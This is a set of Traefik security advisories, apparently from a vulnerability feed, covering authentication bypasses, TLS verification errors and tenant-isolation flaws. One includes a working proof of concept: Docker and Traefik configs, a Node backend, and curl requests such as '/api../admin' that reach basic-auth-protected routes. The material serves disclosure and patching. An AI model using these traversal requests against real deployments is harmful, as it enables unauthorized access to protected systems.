Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos (Negotiate) backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over one connection to orphan backend connections, break connection-bound authentication, or crash Traefik.
Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide after dot-to-dash normalization. Attackers holding certificates from another host's CA can access a host requiring its own client CA, while that host's legitimate clients are refused.
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's TLS client configuration is reused for another service's backend. An unauthenticated client can arm the slot via a backend issuing an NTLM or Negotiate challenge, then reach another service on the same keep-alive connection, bypassing its root CAs, server name, and certificate verification.
Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS entry points never applies the Ingress's access-control annotations. Unauthenticated attackers reaching the HTTP entry point with the Ingress host can access backends protected by auth-type, auth-url, or whitelist-source-range annotations, with nothing logged.
Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client- headers on the plaintext HTTP router. When ssl-redirect is disabled alongside auth-tls-pass-certificate-to-upstream, unauthenticated attackers can send Ssl-Client-Verify: SUCCESS with a chosen certificate subject and issuer to impersonate mTLS identities.
Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.
Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.
Root cause: pkg/middlewares/replacepathregex/replacepathregex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.
Attack flow:
1. Attacker sends GET /api../admin 2. sanitizePath passes it unchanged (api.. is a valid segment name, not a dot-segment) 3. Router matches PathPrefix(/api) → selects the public router (no auth middleware) 4. ReplacePathRegex applies ^/api(.) → captures ../admin → replacement produces /../admin 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes /../admin to /admin 7. Attacker receives protected content without authentication
Suggested fix: Add the same JoinPath equality check after line 67:
go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }
PoC Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl
1. Create docker-compose.yml:
yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine workingdir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5
2. Create dynamic.yml:
yaml http: routers: public-api: rule: "PathPrefix(/api)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(/admin)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000"
3. Create server.js:
javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(ADMINSECRETDATA (normalized=${normalized})\n); } else { res.writeHead(200); res.end(PUBLIC (normalized=${normalized})\n); } }); server.listen(3000);
4. Run and exploit:
bash docker compose up -d && sleep 5
Confirm auth is enforced: curl -s -o /dev/null -w "%{httpcode}" http://localhost/admin → 401
Auth bypass: curl -s http://localhost/api../admin → ADMINSECRETDATA (normalized=/admin)
URL-encoded variant: curl -s http://localhost/api%2e%2e/admin → ADMINSECRETDATA (normalized=/admin)
Configuration note: The regex ^/api(.) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.
Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
</details>
---
Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to Middlewares, ServersTransports, and TLSOptions in other namespaces. Attackers able to create or update Ingress or Service resources in one namespace can set router.middlewares or service.serverstransport annotations to obtain another tenant's injected credentials or reuse its client certificates, bypassing namespace-based tenant isolation.
Impact
There is a potential vulnerability in Traefik NGINX provider managing the nginx.ingress.kubernetes.io/proxy-ssl-verify annotation.
The provider inverts the semantics of the nginx.ingress.kubernetes.io/proxy-ssl-verify annotation. Setting the annotation to "on" (intending to enable backend TLS certificate verification) actually disables verification, allowing man-in-the-middle attacks against HTTPS backends when operators believe they are protected.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.3
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
A logic error in Traefik's experimental ingress-nginx provider inverts the semantics of the nginx.ingress.kubernetes.io/proxy-ssl-verify annotation. Setting the annotation to "on" (intending to enable backend TLS certificate verification) actually disables verification, allowing man-in-the-middle attacks against HTTPS backends when operators believe they are protected.
Details
In pkg/provider/kubernetes/ingress-nginx/kubernetes.go at line 512, the InsecureSkipVerify field is set using inverted logic:
go nst := &namedServersTransport{ Name: provider.Normalize(namespace + "-" + name), ServersTransport: &dynamic.ServersTransport{ ServerName: ptr.Deref(cfg.ProxySSLName, ptr.Deref(cfg.ProxySSLServerName, "")), InsecureSkipVerify: strings.ToLower(ptr.Deref(cfg.ProxySSLVerify, "off")) == "on", }, }
The expression == "on" evaluates to true when the annotation is "on", setting InsecureSkipVerify: true. In Go's crypto/tls, InsecureSkipVerify: true means "do not verify the server's certificate" — the opposite of what proxy-ssl-verify: "on" should do according to NGINX semantics.
Current behavior: | Annotation Value | InsecureSkipVerify | Actual Result | |------------------|-------------------|---------------| | "on" | true | Verification disabled ❌ | | "off" (default) | false | Verification enabled |
Expected behavior (per NGINX semantics): | Annotation Value | InsecureSkipVerify | Expected Result | |------------------|-------------------|-----------------| | "on" | false | Verification enabled | | "off" (default) | true | Verification disabled |
The test in pkg/provider/kubernetes/ingress-nginx/kubernetestest.go lines 397-403 confirms this inverted behavior is codified as "expected":
go ServersTransports: map[string]dynamic.ServersTransport{ "default-ingress-with-proxy-ssl": { ServerName: "whoami.localhost", InsecureSkipVerify: true, // Wrong: should be false when annotation is "on" RootCAs: []types.FileOrContent{"-----BEGIN CERTIFICATE-----"}, }, },
Affected versions: v3.5.0 through current master (introduced in commit 9bd5c617820f2a8d23b50b68d114bb7bc464eccd)
Pavel Kohout Aisle Research </details>
-